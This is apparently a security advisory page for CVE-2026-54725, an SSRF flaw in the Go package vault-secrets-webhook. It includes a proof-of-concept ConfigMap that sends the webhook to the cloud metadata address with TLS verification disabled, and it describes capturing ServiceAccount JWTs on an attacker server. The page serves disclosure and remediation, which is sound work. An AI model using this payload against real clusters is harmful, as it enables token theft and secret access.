NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
CRITICAL severity

CVE-2026-54725 — vault-secrets-webhook

CRITICALFix: bank-vaults/vault-secrets-webhook@76db459

CVE-2026-54725 is a critical-severity (CVSS 9.6) Server-Side Request Forgery (SSRF) vulnerability in github.com/bank-vaults/vault-secrets-webhook. A fix is available for github.com/bank-vaults/vault-secrets-webhook — see the affected versions and patch details below.

vault-addr annotation SSRF -- webhook makes outbound HTTP call to attacker URL during admission; vault-serviceaccount enables cluster-wide SA token theft via TokenRequest API

Also known asGHSA-r2v3-8gwf-7ghmGO-2026-6160
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 29, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-54725.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs39th percentile — riskier than 39% of all scored CVEsHighest risk
0.00%0.32%0.63%0.95%0.3%0.3%0.4%0.4%Aug 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐹github.com/bank-vaults/vault-secrets-webhook

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The vault-secrets-webhook reads the vault.security.banzaicloud.io/vault-addr annotation from any ConfigMap or Secret being admitted and uses it as the Vault server address without any validation or allowlist. When a ConfigMap or Secret contains a value prefixed with vault:, the webhook's admission handler synchronously calls the Vault API at the attacker-supplied address from inside the webhook process during the admission review. The webhook additionally grants serviceaccounts/token:create cluster-wide, and the vault-serviceaccount annotation controls which ServiceAccount's JWT is fetched and sent to that address. An attacker who can create ConfigMaps or Secrets in a watched namespace can cause the webhook process to make arbitrary outbound HTTP connections and exfiltrate ServiceAccount JWTs.

Details

parseVaultConfig() at pkg/webhook/config.go:102-107 reads VaultAddrAnnotation unconditionally into vaultConfig.Addr:

if value, ok := annotations[common.VaultAddrAnnotation]; ok {
    vaultConfig.Addr = value
}

No URL scheme validation, no hostname allowlist, no RFC-1918 or link-local filter.

MutateConfigMap and MutateSecret at pkg/webhook/configmap.go and pkg/webhook/secret.go call mw.newVaultClient(ctx, vaultConfig) when the object contains at least one vault:... value. Inside newVaultClient, at pkg/webhook/webhook.go:285:

clientConfig.Address = vaultConfig.Addr

vault.NewClientFromConfigWithContext then opens an HTTP connection to the attacker-controlled address from the webhook server process, synchronously during the admission review. This is not deferred to a separate pod.

The vault-skip-verify annotation (pkg/webhook/config.go:197) sets InsecureSkipVerify: true on the TLS config, eliminating the need for a valid certificate on the attacker's server.

When VaultServiceaccountAnnotation is also set, at pkg/webhook/webhook.go:

mw.k8sClient.CoreV1().ServiceAccounts(vaultConfig.ObjectNamespace).CreateToken(
    ctx, saName, &tokenRequest, metav1.CreateOptions{})

The webhook's ClusterRole (deploy/charts/vault-secrets-webhook/templates/webhook-rbac.yaml) grants serviceaccounts/token:create cluster-wide. The resulting JWT is then POSTed to vaultConfig.Addr/v1/auth/<path>/login. An attacker intercepts this JWT and replays it against the real Vault to access secrets bound to that ServiceAccount's Vault role.

Proof of Concept

Create a ConfigMap in any watched namespace:

apiVersion: v1
kind: ConfigMap
metadata:
  name: ssrf-poc
  namespace: tenant-ns
  annotations:
    vault.security.banzaicloud.io/vault-addr: "http://169.254.169.254/latest/meta-data/"
    vault.security.banzaicloud.io/vault-skip-verify: "true"
    vault.security.banzaicloud.io/vault-serviceaccount: "high-priv-sa"
data:
  secret-key: "vault:secret/data/test#value"

When this ConfigMap is created, the vault-secrets-webhook admission handler:

  1. Parses the annotations and reads vault-addr: http://169.254.169.254/latest/meta-data/
  2. Calls CoreV1().ServiceAccounts(tenant-ns).CreateToken(ctx, "high-priv-sa", ...) using cluster-wide serviceaccounts/token:create
  3. Calls vault.NewClientFromConfigWithContext which POSTs the JWT to http://169.254.169.254/latest/meta-data/v1/auth/kubernetes/login
  4. On AWS EKS with IMDSv1, the cloud metadata service receives the request from the webhook pod's IAM identity

For the SA token theft path: run an HTTP server at the attacker-controlled vault-addr to capture the Authorization: Bearer <JWT> header from the login POST.

Impact

A user with create or update on ConfigMaps or Secrets in any namespace watched by the vault-secrets-webhook can:

  1. Cause the webhook process (a cluster-wide privileged component) to make arbitrary outbound HTTP connections to any address including cloud IMDS
  2. Exfiltrate ServiceAccount JWTs for any SA in their namespace, which can be replayed against the real Vault server to read secrets the SA's role is authorized to access

The attack happens at admission time in the webhook server process, not in a user pod, and requires no special privileges beyond ConfigMap or Secret create/update rights.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/bank-vaults/vault-secrets-webhookall versions1.23.1go get github.com/bank-vaults/vault-secrets-webhook@v1.23.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/bank-vaults/vault-secrets-webhook, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/bank-vaults/vault-secrets-webhook to 1.23.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-54725 is resolved across your whole dependency graph.

  3. Workarounds

    Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.

Frequently Asked Questions

## Summary The vault-secrets-webhook reads the `vault.security.banzaicloud.io/vault-addr` annotation from any ConfigMap or Secret being admitted and uses it as the Vault server address without any validation or allowlist. When a ConfigMap or Secret contains a value prefixed with `vault:`, the webhook's admission handler synchronously calls the Vault API at the attacker-supplied address from inside the webhook process during the admission review. The webhook additionally grants `serviceaccounts/token:create` cluster-wide, and the `vault-serviceaccount` annotation controls which ServiceAccount'
O3 Security · Impact-Aware SCA

Is CVE-2026-54725 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-54725: vault-secrets SSRF — Fixed in 1.23.1